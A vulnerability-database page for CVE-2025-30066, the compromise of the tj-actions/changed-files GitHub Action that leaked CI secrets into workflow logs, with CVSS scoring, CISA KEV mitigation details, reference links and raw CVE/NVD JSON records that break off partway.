Vulnerability-Lookup

CVE-2025-30066 (GCVE-0-2025-30066)

Vulnerability from cvelistv5 – Published: 2025-03-15 00:00 – Updated: 2025-10-21 22:55

CISA KEV

Summary

tj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)

Severity ?

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-506 - Embedded Malicious Code

Assigner

mitre

References

URL

	Vendor	Product	Version
	tj-actions	changed-files	Affected: 1 , < 46 (custom)

CISA KEV

Known Exploited Vulnerability - GCVE BCP-07 Compliant

KEV entry ID: 85eec58e-1219-4ae4-9bab-332b2647ea38

Vulnerability ID: CVE-2025-30066

Status: Confirmed

Status Updated: 2025-03-18 00:00 UTC

Exploited: Yes

Timestamps

First Seen: 2025-03-18

Asserted: 2025-03-18

Scope

Notes: KEV entry: tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability | Affected: tj-actions / changed-files GitHub Action | Description: tj-actions/changed-files GitHub Action contains an embedded malicious code vulnerability that allows a remote attacker to discover secrets by reading Github Actions Workflow Logs. These secrets may include, but are not limited to, valid AWS access keys, GitHub personal access tokens (PATs), npm tokens, and private RSA keys. | Required action: Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. | Due date: 2025-04-08 | Known ransomware campaign use (KEV): Unknown | Notes (KEV): This vulnerability affects a common open-source project, third-party library, or a protocol used by different products. For more information, please see: CISA Mitigation Instructions: https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-tj-actionschanged-files-cve-2025-30066-and-reviewdogaction ; Additional References: https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28 ; https://nvd.nist.gov/vuln/detail/CVE-2025-30066

Evidence

Type: Vendor Report

Signal: Successful Exploitation

Confidence: 80%

Source: cisa-kev

Details

Cwes	CWE-506
Feed	CISA Known Exploited Vulnerabilities Catalog
Product	changed-files GitHub Action
Due Date	2025-04-08
Date Added	2025-03-18
Vendorproject	tj-actions
Vulnerabilityname	tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability
Knownransomwarecampaignuse	Unknown

References

CVE-2025-30066

Created: 2026-02-02 12:26 UTC | Updated: 2026-02-06 07:17 UTC

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-30066",
                "options": [
                  {
                    "Exploitation": "active"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-22T03:55:44.803134Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          },
          {
            "other": {
              "content": {
                "dateAdded": "2025-03-18",
                "reference": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066"
              },
              "type": "kev"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-21T22:55:23.291Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "government-resource"
            ],
            "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066"
          }
        ],
        "timeline": [
          {
            "lang": "en",
            "time": "2025-03-18T00:00:00+00:00",
            "value": "CVE-2025-30066 added to CISA KEV"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-03-18T21:05:17.427Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066"
          }
        ],
        "title": "CVE Program Container",
        "x_generator": {
          "engine": "ADPogram 0.0.1"
        }
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "changed-files",
          "vendor": "tj-actions",
          "versions": [
            {
              "lessThan": "46",
              "status": "affected",
              "version": "1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:tj-actions:changed-files:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "46",
                  "versionStartIncluding": "1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "tj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-506",
              "description": "CWE-506 Embedded Malicious Code",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-03-18T21:59:21.617Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193"
        },
        {
          "url": "https://github.com/tj-actions/changed-files/issues/2463"
        },
        {
          "url": "https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised"
        },
        {
          "url": "https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/"
        },
        {
          "url": "https://news.ycombinator.com/item?id=43368870"
        },
        {
          "url": "https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463"
        },
        {
          "url": "https://news.ycombinator.com/item?id=43367987"
        },
        {
          "url": "https://github.com/rackerlabs/genestack/pull/903"
        },
        {
          "url": "https://github.com/chains-project/maven-lockfile/pull/1111"
        },
        {
          "url": "https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/"
        },
        {
          "url": "https://github.com/espressif/arduino-esp32/issues/11127"
        },
        {
          "url": "https://github.com/modal-labs/modal-examples/issues/1100"
        },
        {
          "url": "https://github.com/tj-actions/changed-files/issues/2464"
        },
        {
          "url": "https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28"
        },
        {
          "url": "https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066"
        },
        {
          "url": "https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond"
        },
        {
          "url": "https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack"
        },
        {
          "url": "https://github.com/tj-actions/changed-files/issues/2477"
        },
        {
          "url": "https://blog.gitguardian.com/compromised-tj-actions/"
        }
      ],
      "x_generator": {
        "engine": "enrichogram 0.0.1"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2025-30066",
    "datePublished": "2025-03-15T00:00:00.000Z",
    "dateReserved": "2025-03-15T00:00:00.000Z",
    "dateUpdated": "2025-10-21T22:55:23.291Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "cisa_known_exploited": {
      "cveID": "CVE-2025-30066",
      "cwes": "[\"CWE-506\"]",
      "dateAdded": "2025-03-18",
      "dueDate": "2025-04-08",
      "knownRansomwareCampaignUse": "Unknown",
      "notes": "This vulnerability affects a common open-source project, third-party library, or a protocol used by different products. For more information, please see: CISA Mitigation Instructions: https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-tj-actionschanged-files-cve-2025-30066-and-reviewdogaction ; Additional References: https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28 ; https://nvd.nist.gov/vuln/detail/CVE-2025-30066",
      "product": "changed-files GitHub Action",
      "requiredAction": "Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.",
      "shortDescription": "tj-actions/changed-files GitHub Action contains an embedded malicious code vulnerability that allows a remote attacker to discover secrets by reading Github Actions Workflow Logs. These secrets may include, but are not limited to, valid AWS access keys, GitHub personal access tokens (PATs), npm tokens, and private RSA keys.",
      "vendorProject": "tj-actions",
      "vulnerabilityName": "tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2025-30066\",\"sourceIdentifier\":\"cve@mitre.org\",\"published\":\"2025-03-15T06:15:12.193\",\"lastModified\":\"2025-11-05T19:27:53.740\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"tj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)\"},{\"lang\":\"es\",\"value\":\"Los archivos modificados de tj-actions anteriores a la versi\u00f3n 46 permiten a atacantes remotos descubrir secretos leyendo los registros de acciones. (Las etiquetas v1 a v45.0.7 se vieron afectadas el 14 y el 15 de marzo de 2025 porque fueron modificadas por un actor de amenazas para apuntar a el commit 0e58ed8, que conten\u00eda c\u00f3digo malicioso de updateFeatures).\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"cve@mitre.org\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\",\"baseScore\":8.6,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":4.0},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\",\"baseScore\":8.6,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":4.0}]},\"cisaExploitAdd\":\"2025-03-18\",\"cisaActionDue\":\"2025-04-08\",\"cisaRequiredAction\":\"Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.\",\"cisaVulnerabilityName\":\"tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability\",\"weaknesses\":[{\"source\":\"cve@mitre.org\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-506\"}]},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"NVD-CWE-Other\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:tj-actions:changed-files:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"45.0.7\",\"matchCriteriaId\":\"23B2BE4B-AC69-4088-9ABD-ACDB46ABAA9A\"}]}]}],\"references\":[{\"url\":\"https://blog.gitguardian.com/compromised-tj-actions/\",\"source\":\"cve@mitre.org\",\"tags\":[\"Exploit\",\"Third Party Advisory\"]},{\"url\":\"https://github.com/chains-project/maven-lockfile/pull/1111\",\"source\":\"cve@mitre.org\",\"tags\":[\"Issue Tracking\"]},{\"url\":\"https://github.com/espressif/arduino-esp32/issues/11127\",\"source\":\"cve@mitre.org\",\"tags\":[\"Issue Tracking\"]},{\"url\":\"https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193\",\"source\":\"cve@mitre.org\",\"tags\":[\"Product\"]},{\"url\":\"https://github.com/modal-labs/modal-examples/issues/1100\",\"source\":\"cve@mitre.org\",\"tags\":[\"Issue Tracking\"]},{\"url\":\"https://github.com/rackerlabs/genestack/pull/903\",\"source\":\"cve@mitre.org\",\"tags\":[\"Issue Tracking\"]},{\"url\":\"https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28\",\"source\":\"cve@mitre.org\",\"tags\":[\"Product\"]},{\"url\":\"https://github.com/tj-actions/changed-files/issues/2463\",\"source\":\"cve@mitre.org\",\"tags\":[\"Issue Tracking\"]},{\"url\":\"https://github.com/tj-actions/changed-files/issues/2464\",\"source\":\"cve@mitre.org\",\"tags\":[\"Issue Tracking\"]},{\"url\":\"https://github.com/tj-actions/changed-files/issues/2477\",\"source\":\"cve@mitre.org\",\"tags\":[\"Issue Tracking\"]},{\"url\":\"https://news.ycombinator.com/item?id=43367987\",\"source\":\"cve@mitre.org\",\"tags\":[\"Issue Tracking\",\"Third Party Advisory\"]},{\"url\":\"https://news.ycombinator.com/item?id=43368870\",\"source\":\"cve@mitre.org\",\"tags\":[\"Issue Tracking\",\"Third Party Advisory\"]},{\"url\":\"https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/\",\"source\":\"cve@mitre.org\",\"tags\":[\"Third Party Advisory\"]},{\"url\":\"https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/\",\"source\":\"cve@mitre.org\",\"tags\":[\"Mitigation\",\"Third Party Advisory\"]},{\"url\":\"https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463\",\"source\":\"cve@mitre.org\",\"tags\":[\"Issue Tracking\"]},{\"url\":\"https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised\",\"source\":\"cve@mitre.org\",\"tags\":[\"Exploit\",\"Mitigation\",\"Third Party Advisory\"]},{\"url\":\"https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond\",\"source\":\"cve@mitre.org\",\"tags\":[\"Third Party Advisory\"]},{\"url\":\"https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack\",\"source\":\"cve@mitre.org\",\"tags\":[\"Third Party Advisory\"]},{\"url\":\"https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066\",\"source\":\"cve@mitre.org\",\"tags\":[\"Third Party Advisory\"]},{\"url\":\"https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Third Party Advisory\",\"US Government Resource\"]},{\"url\":\"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"US Government Resource\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CVE Program Container\", \"references\": [{\"url\": \"https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066\"}], \"x_generator\": {\"engine\": \"ADPogram 0.0.1\"}, \"providerMetadata\": {\"orgId\": \"af854a3a-2127-422b-91ae-364da2661108\", \"shortName\": \"CVE\", \"dateUpdated\": \"2025-03-18T21:05:17.427Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2025-30066\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"active\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2025-03-22T03:55:44.803134Z\"}}}, {\"other\": {\"type\": \"kev\", \"content\": {\"dateAdded\": \"2025-03-18\", \"reference\": \"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066\"}}}], \"timeline\": [{\"lang\": \"en\", \"time\": \"2025-03-18T00:00:00+00:00\", \"value\": \"CVE-2025-30066 added to CISA KEV\"}], \"references\": [{\"url\": \"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066\", \"tags\": [\"government-resource\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2025-03-17T15:46:33.475Z\"}}], \"cna\": {\"metrics\": [{\"cvssV3_1\": {\"version\": \"3.1\", \"baseScore\": 8.6, \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\"}}], \"affected\": [{\"vendor\": \"tj-actions\", \"product\": \"changed-files\", \"versions\": [{\"status\": \"affected\", \"version\": \"1\", \"lessThan\": \"46\", \"versionType\": \"custom\"}], \"defaultStatus\": \"unaffected\"}], \"references\": [{\"url\": \"https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193\"}, {\"url\": \"https://github.com/tj-actions/changed-files/issues/2463\"}, {\"url\": \"https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised\"}, {\"url\": \"https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/\"}, {\"url\": \"https://news.ycombinator.com/item?id=43368870\"}, {\"url\": \"https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463\"}, {\"url\": \"https://news.ycombinator.com/item?id=43367987\"}, {\"url\": \"https://github.com/rackerlabs/genestack/pull/903\"}, {\"url\": \"https://github.com/chains-project/maven-lockfile/pull/1111\"}, {\"url\": \"https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/\"}, {\"url\": \"https://github.com/espressif/arduino-esp32/issues/11127\"}, {\"url\": \"https://github.com/modal-labs/modal-examples/issues/1100\"}, {\"url\": \"https://github.com/tj-actions/changed-files/issues/2464\"}, {\"url\": \"https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28\"}, {\"url\": \"https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066\"}, {\"url\": \"https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond\"}, {\"url\": \"https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack\"}, {\"url\": \"https://github.com/tj-actions/changed-files/issues/2477\"}, {\"url\": \"https://blog.gitguardian.com/compromised-tj-actions/\"}], \"x_generator\": {\"engine\": \"enrichogram 0.0.1\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"tj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-506\", \"description\": \"CWE-506 Embedded Malicious Code\"}]}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:a:tj-actions:changed-files:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"46\", \"versionStartIncluding\": \"1\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"8254265b-2729-46b6-b9e3-3dfca2d5bfca\", \"shortName\": \"mitre\", \"dateUpdated\": \"2025-03-18T21:59:21.617Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2025-30066\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2025-10-21T22:55:23.291Z\", \"dateReserved\": \"2025-03-15T00:00:00.000Z\", \"assignerOrgId\": \"8254265b-2729-46b6-b9e3-3dfca2d5bfca\", \"datePublished\": \"2025-03-15T00:00:00.000Z\", \"assignerShortName\": \"mitre\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

FKIE_CVE-2025-30066

Vulnerability from fkie_nvd - Published: 2025-03-15 06:15 - Updated: 2025-11-05 19:27

CISA KEV

Severity ?

8.6 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
8.6 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Summary

References

URL	Tags
cve@mitre.org	https://blog.gitguardian.com/compromised-tj-actions/	Exploit, Third Party Advisory
cve@mitre.org	https://github.com/chains-project/maven-lockfile/pull/1111	Issue Tracking
cve@mitre.org	https://github.com/espressif/arduino-esp32/issues/11127	Issue Tracking
cve@mitre.org	https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193	Product
cve@mitre.org	https://github.com/modal-labs/modal-examples/issues/1100	Issue Tracking
cve@mitre.org	https://github.com/rackerlabs/genestack/pull/903	Issue Tracking
cve@mitre.org	https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28	Product
cve@mitre.org	https://github.com/tj-actions/changed-files/issues/2463	Issue Tracking
cve@mitre.org	https://github.com/tj-actions/changed-files/issues/2464	Issue Tracking
cve@mitre.org	https://github.com/tj-actions/changed-files/issues/2477	Issue Tracking
cve@mitre.org	https://news.ycombinator.com/item?id=43367987	Issue Tracking, Third Party Advisory
cve@mitre.org	https://news.ycombinator.com/item?id=43368870	Issue Tracking, Third Party Advisory
cve@mitre.org	https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/	Third Party Advisory
cve@mitre.org	https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/	Mitigation, Third Party Advisory
cve@mitre.org	https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463	Issue Tracking
cve@mitre.org	https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised	Exploit, Mitigation, Third Party Advisory
cve@mitre.org	https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond	Third Party Advisory
cve@mitre.org	https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack	Third Party Advisory
cve@mitre.org	https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066	Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066	Third Party Advisory, US Government Resource
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066	US Government Resource

Impacted products

	Vendor	Product	Version
	tj-actions	changed-files	*

JSON

To clipboard

{
  "cisaActionDue": "2025-04-08",
  "cisaExploitAdd": "2025-03-18",
  "cisaRequiredAction": "Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.",
  "cisaVulnerabilityName": "tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability",
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:tj-actions:changed-files:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "23B2BE4B-AC69-4088-9ABD-ACDB46ABAA9A",
              "versionEndIncluding": "45.0.7",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "tj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)"
    },
    {
      "lang": "es",
      "value": "Los archivos modificados de tj-actions anteriores a la versi\u00f3n 46 permiten a atacantes remotos descubrir secretos leyendo los registros de acciones. (Las etiquetas v1 a v45.0.7 se vieron afectadas el 14 y el 15 de marzo de 2025 porque fueron modificadas por un actor de amenazas para apuntar a el commit 0e58ed8, que conten\u00eda c\u00f3digo malicioso de updateFeatures)."
    }
  ],
  "id": "CVE-2025-30066",
  "lastModified": "2025-11-05T19:27:53.740",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.0,
        "source": "cve@mitre.org",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.0,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2025-03-15T06:15:12.193",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://blog.gitguardian.com/compromised-tj-actions/"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://github.com/chains-project/maven-lockfile/pull/1111"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://github.com/espressif/arduino-esp32/issues/11127"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Product"
      ],
      "url": "https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://github.com/modal-labs/modal-examples/issues/1100"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://github.com/rackerlabs/genestack/pull/903"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Product"
      ],
      "url": "https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://github.com/tj-actions/changed-files/issues/2463"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://github.com/tj-actions/changed-files/issues/2464"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://github.com/tj-actions/changed-files/issues/2477"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Issue Tracking",
        "Third Party Advisory"
      ],
      "url": "https://news.ycombinator.com/item?id=43367987"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Issue Tracking",
        "Third Party Advisory"
      ],
      "url": "https://news.ycombinator.com/item?id=43368870"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Mitigation",
        "Third Party Advisory"
      ],
      "url": "https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Issue Tracking"
      ],
